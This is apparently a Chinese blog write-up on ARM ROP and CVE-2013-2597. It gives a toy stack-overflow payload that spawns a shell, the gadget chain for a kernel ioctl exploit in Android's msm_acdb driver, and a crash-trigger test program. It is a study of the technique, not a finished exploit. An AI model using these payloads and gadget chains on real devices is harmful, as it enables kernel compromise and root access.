一、准备
由于内核栈不可执行（NX），栈溢出利用需用到ROP。简单回顾一下ARM ROP。
漏洞演示代码如下，网上随便找了个。
char *str="/system/bin/sh";
void callsystem()
{
system("id");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
if (argc == 2 && strcmp("passwd", argv[1]) == 0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
vulnerable_function函数使用read从标准输入读数据到buf缓冲区，未校验拷贝长度导致栈溢出。分析其汇编代码：
.text:000083BC vulnerable_function ; CODE XREF: main+68p
.text:000083BC
.text:000083BC buf = -0x84
.text:000083BC
.text:000083BC STMFD SP!, {R11,LR}
.text:000083C0 ADD R11, SP, #4
.text:000083C4 SUB SP, SP, #0x80
.text:000083C8 SUB R3, R11, #-buf
.text:000083CC MOV R0, #0 ; fd
.text:000083D0 MOV R1, R3 ; buf
.text:000083D4 MOV R2, #0x100 ; nbytes
.text:000083D8 BL read
.text:000083DC SUB SP, R11, #4
.text:000083E0 LDMFD SP!, {R11,PC}
.text:000083E0 ; End of function vulnerable_function
首先LR，R11寄存器压栈，接着分配0x80即128字节的buf栈缓冲区。R3指向buf缓冲区底部。分别通过R0，R1，R2传递3个参数，（0， buf， 0x100【256】），调用read函数。最后恢复R11，并将函数开始时压栈的LR（保存的返回地址）弹出到PC。
其栈结构如下：
高 LR ： 4Bytes
| R11 ： 4Bytes
低 buf ： 128Bytes
因此通过 132*‘A’ + addr 即可修改LR为addr，即而控制PC寄存器。我们的exploit目标是通过system(“/system/bin/sh”)返回一个shell。
system()地址，与“/system/bin/sh”字符串地址都可以找到。但system()参数是id，需要修改R0寄存器，指向“/system/bin/sh”地址。
.text:000083A8 ADD R3, PC, R3 ; aId ; "id"
.text:000083AC MOV R0, R3 ; r0指向"id"，目标是修改为指向"/system/bin/sh"
.text:000083B0 BL system
下面分析如何查找Gadgets。目前为止，我们能通过溢出控制程序的栈，要修改R0寄存器的值，我们需要 ldr r0 或 mov r0, sp + #xxx类似的指令，来从栈上取值。
当然这里考虑的是简单情况，像ldr r2，mov r0, r2 等多条指令的组合都是符合要求的，我们使用ROPGadgets工具来查找Gadgets：https://github.com/JonathanSalwan/ROPgadget
注意的是，我们的程序编译的是Thumb指令集，需要查找Thumb的Gadgets：
zzhiyuan@ubuntu:~/Android_prj/ROP$ ROPgadget --binary=./bufferoverflow --thumb |grep "ldr r0, \[sp, "
...
0x00008a02 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
0x000091c2 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} ; push {r3, lr} ; bl #0x91be ; pop {r3, pc}
0x00008872 : ldr r0, [sp, #0xc] ; adds r1, r4, #0 ; ldr r3, [r4, #0x10] ; blx r3
...
zzhiyuan@ubuntu:~/Android_prj/ROP$
下面是找到符合要求的Gadgets，它符合要求的原因是1）是可以通过栈上的值（sp, #0xc）修改r0寄存器。2）是可以利用栈上值进行程序跳转（pop {pc}）：
0x00008a02 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}
接下来利用它，来布局我们控制的栈，完成利用。
找到“/system/bin/sh”与system地址：
.rodata:00009780 aSystemBinSh DCB "/system/bin/sh",0
.plt:00008494 ; int system(const char *)
.plt:00008494 system ; CODE XREF: sub_94C4:loc_94C8j
.plt:00008494 ADR R12, 0x849C
.plt:00008498 ADD R12, R12, #0x2000
.plt:0000849C LDR PC, [R12,#(system_ptr - 0xA49C)]! ; __imp_system
plt是ELF的延迟绑定，其指令为ARM的，因此system函数地址为0x00008494 ，“/system/bin/sh”是Thumb下的地址需加1：0x00009781
看下溢出时，如何布局栈：
PoC构造如下：
*** ’A’x132 + 0x00008a03 + ’A’x12 + 0x00009781 + ’A’x4 + 0x00008494 ***
3处地址分别是:gadget addr , r0(system 参数), systemaddr
以下简单回顾完ARM上的ROP过程，与x86差不多，不过要注意处理Thumb还是ARM指令集。下面就分析CVE-2013-2597这个洞的exploit.
二、漏洞原理
CVE-2013-2597是一个内核态copy_from_user的栈溢出，拷贝长度size参数由用户态arg传入，且只校验了它非负，当传入大于MAX_IOCTL_DATA的值时，acdb_ioctl函数栈溢出。
uint32_t data[MAX_IOCTL_DATA];
...
if (copy_from_user(&size, (void *) arg, sizeof(size))) {
result = -EFAULT;
goto done;
}
...
if (size <= 0) {
pr_err("%s: Invalid size sent to driver: %d\n",
__func__, size);
result = -EFAULT;
goto done;
}
...
if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) {
pr_err("%s: fail to copy table size %d\n", __func__, size);
result = -EFAULT;
goto done;
}
Patch很简单，只需校验用户传入长度小于data缓冲区大小：
if ((size <= 0) || (size > sizeof(data))) {
pr_err("%s: Invalid size sent to driver: %d\n",
__func__, size);
result = -EFAULT;
goto done;
}
三、漏洞利用
战略性放弃。。网上只有fi01的利用介绍，但调试发现其汇编与我在Nexus 5上撸下来的内核里面的不一致，差异太大目前写不出相应的exploit。中文只有莫灰灰与申迪两篇，都是直接照抄翻译fi01的。
但还是可以简单学习下，其思路。
首先在代码中没有发现Canary，福音 :-p
通过构造一个全0的data数据，可以从内核crach log中得到寄存器的值 （/proc/last_kmsg）。
<3>[ 348.770486] ACDB=> ACDB ioctl not found!
<1>[ 348.770547] Unable to handle kernel NULL pointer dereference at virtual address 0000009c
<1>[ 348.770608] pgd = df18c000
<1>[ 348.770639] [0000009c] *pgd=9b727831, *pte=00000000, *ppte=00000000
<0>[ 348.770700] Internal error: Oops: 80000007 [#1] PREEMPT SMP
<4>[ 348.770761] Modules linked in:
<4>[ 348.770791] CPU: 0 Not tainted (3.0.8 #1)
<4>[ 348.770853] PC is at 0x9c
<4>[ 348.770883] LR is at acdb_ioctl+0x740/0x860
<4>[ 348.770944] pc : [<0000009c>] lr : [<c0137658>] psr: 60000013
<4>[ 348.770944] sp : ce513f28 ip : 00000000 fp : 00000098
<4>[ 348.771005] r10: 00000094 r9 : 00000090 r8 : 0000008c
<4>[ 348.771066] r7 : 00000088 r6 : 00000084 r5 : 00000080 r4 : 0000007c
<4>[ 348.771097] r3 : 00000000 r2 : ce513e74 r1 : c0973db8 r0 : 00000000
<4>[ 348.771158] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
首先反汇编do_vfs_ioctl，并观察其返回：
c021d8fc: e2 8d d0 44 ADD SP, SP, #0x44
c021d900: e8 bd 83 f0 LDMUW [SP], { R4-R9, PC }
它将sp+0x44，并恢复r4-r9和pc值，因此通过布局栈，可以控制这些值，其中r5与r9下面有用。
由以上panic的寄存器值可以发现，只要将栈上pc，即0x9c偏移处覆盖，就可以控制第一跳，跳到下面这里：
c0381b98: e5 89 50 00 STR R5, [R9]
c0381b9c: e8 bd 87 f0 LDMUW [SP], { R4-R10, PC }
通过设置r5为shellcode地址，r9为内核fsync()符号地址，STR R5, [R9] 可以实现任意地址写的能力，这里非常巧妙的将栈溢出转为更容易利用的任意地址写任意值。
接着通过控制PC完成下一跳，跳到：
c0231b98: e2 8d d0 24 ADD SP, SP, #0x24
c0231b9c: e8 bd 83 f0 LDMUW [SP], { R4-R9, PC }
这一步ADD SP, SP, #0x24为了完成栈平衡。通过下图帮助理解：
以上完成整个利用过程，并使do_vfs_ioctl正常返回不产生崩溃。
测试中，发现另一处内核Panic，不知道是不是0day?
[24953.996263] Unable to handle kernel paging request at virtual address ffffffee
[24953.996653] pgd = e9870000
[24953.996864] [ffffffee] *pgd=36beb821, *pte=00000000, *ppte=00000000
[24953.999564] Internal error: Oops: 17 [#1] PREEMPT SMP ARM
[24953.999804] CPU: 0 Not tainted (3.4.0-gd59db4e #1)
[24954.000206] PC is at ion_free+0x14/0xbc
[24954.000437] LR is at msm_audio_ion_import+0x130/0x1b8
[24954.000659] pc : [<c04a0340>] lr : [<c015c7a4>] psr: 60000013
[24954.000673] sp : d613fdd0 ip : d613fdf0 fp : d613fdec
[24954.001240] r10: c122a024 r9 : ed3793a0 r8 : 00000000
[24954.001625] r7 : 00000000 r6 : c0e0fab4 r5 : c13a8cb0 r4 : c13a8cac
[24954.001844] r3 : 19761abc r2 : 19761abc r1 : ffffffea r0 : dca15b00
[24954.002239] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
[24954.002630] Control: 10c5787d Table: 31c7006a DAC: 00000015
测试代码：
#define OVERFLOW_BUFFER_SIZE 0xc0
struct acdb_ioctl {
unsigned int size;
char data[OVERFLOW_BUFFER_SIZE];
};
int test1()
{
const char *device_name = "/dev/msm_acdb";
struct acdb_ioctl arg;
int fd;
int ret;
fd = open(device_name, O_RDONLY);
if (fd < 0) {
printf("failed to open %s due to %s.\n", device_name, strerror(errno));
return -1;
}
arg.size = sizeof arg.data;
memset(&arg.data, 0x0, arg.size);
ret = ioctl(fd, 9999, &arg);
close(fd);
return 0;
}
四、参考
五、附录
1）运行ROPgadget时报错：ImportError: No module named _sqlite3
解决办法：
1-安装sqlite3
sudo apt-get install libsqlite3-dev
2-重新编译安装Pyton
进入解压的Python 2.7.6目录
./configure --enable-loadable-sqlite-extensions
make
make install
2）ROPgadget –binary=./bufferoverflow –thumb |grep “ldr r0” 找不到Gadgets
上面ROP回顾，开始直接使用arm-linux-androideabi-gcc交叉编译的，遇到这个问题。但使用ndk-build就OK了。原因没分析。